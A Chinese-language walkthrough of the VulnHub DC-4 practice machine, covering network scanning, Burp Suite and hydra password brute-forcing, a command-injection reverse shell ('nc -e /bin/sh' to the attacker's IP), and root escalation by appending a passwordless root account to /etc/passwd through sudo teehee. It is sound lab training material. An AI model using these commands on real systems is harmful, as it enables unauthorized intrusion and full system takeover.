1.下载靶机
本篇文章是DC靶机系列的第四篇,针对的是靶机DC-4,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。
DC-4的下载地址为DC: 4 ~ VulnHubhttps://www.vulnhub.com/entry/dc-4,313/下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。
同样地,DC-4只有一个flag。
在VMware加载成功之后显示如下界面:
默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-4靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。
2.收集靶机信息
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下
可判断出靶机的ip为192.168.88.129,接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.88.129
开了两个端口88和22,接着浏览器访问80端口,看看有什么发现
很简洁,提示admin登陆。看看还有其他信息。
网站指纹信息很少,没有太大参考价值。使用了前几个靶机博客用到的dirb目录爆破工具也没发现有用信息。
那么就目前能掌握的信息看,只能暴力猜解密码了。暴力破解密码的方式有很多,我采用的是burpsuit工具,功能强大,这篇用它的抓包和暴力猜解密码。
2.1首先是抓包
随便输入账号密码,进行抓包
这里只爆破password(当然也可以账号密码都爆破,因为本题已经提示是admin了)。选中密码发送
到intruder目录下,点击positions,清楚admin,攻击方式看你需求选择,这里是sniper.
接着选择payloads
在这里添加爆破的密码,可以选择load加载密码字典,也可以paste粘贴。密码字典只能平时不断积累,或者去博客或者公众号、群里找找大家的分享。毕竟字典是安全从业人员必备。
添加结束之后,点击start attack
结果如下
可以按照长度排名,寻找返回长度不同的密码,可以看到happy的长度不同,查看返回包,提示成功。
我们使用admin happy在浏览器登陆页面登陆。
3.漏洞测试
点击command,可以看到可以选择任意一个命令执行。这不是疯狂暗示吗,我们进行抓包
可以看到,运行list files,其实是向后台发送ls+-l指令,那么这里是不是在暗示我们可以吧命令改成我们想运行的命令呢,比如反弹shell?
首先我们在kali攻击机上开启监听
接着将ls+-l改成nc -e /bin/sh 192.168.88.128 7777,点击forward放行。至于反弹shell,有很多的方法以及解析,我准备过段时间好好总结,感兴趣的同学可以网上搜搜。
可以看到kali上已经监听到了,
接着我们输入
python -c 'import pty;pty.spawn("/bin/sh")'
打开一个交互界面。
打开home,然后发现了三个用户。
发现charles和sam都打不开,只有jim能打开。
mbox无权限访问,backups里存在老密码文件
接着我们将其保存到本地,命令为jim.txt
4.漏洞利用
这个时候80端口的线索基本已经用完了,还剩一个ssh没有利用,而刚刚的密码文件提示我们可以进行ssh密码爆破。
接着使用hydra进行密码爆破。输入命令行
hydra -l jim -P jim.txt 192.168.88.129 ssh
爆破结果如下
可看到jim的远程密码为jibril104
接下来使用该账号密码远程控制登陆
登陆成功(我在输入密码的时候输错了两次············)
尝试打开mbox文件,发现可以打开了,是一封邮件
这是一封邮件,root写给jim的,由此联想到该系统上默认邮件箱里是不是也有邮件呢?就去网上搜了一下linux的邮件目录是/var/spool/mail,抱着试试的态度看一下
果然有,这里发现了mail和spool/mail两个,里面都有邮件而且相同的,为了演示,我们随便打开一个。
由邮件内容,我们得到了charles的密码是^xHhA&hvim0y
5.提权
接下来看看jim账号有没有root权限无密码的权限
只有邮件,那么就只有转换用户,看看charles的了。可以看看charles用户中的文件信息,没发现有用信息,这里就不展示了。
有一个teehee可以使用root无密码权限。
显示teehee -a 可以给已经存在的文件追加信息,不覆盖。这个时候就可以联想到/etc/passwd了。在passwd文件中添加一个拥有root权限的账号。
最开始我输入了teehee -a /etc/passwd显示没有权限
后来输入了sudo teehee -a /etc/passwd 进入,然后添加修改内容
root666::0:0::/bin/bash然后ctrl c 保存。
至于写法可在网络上搜一下。
在查看一下是否写入成功。
写入成功,切换root666用户
找到root目录下的flag.txt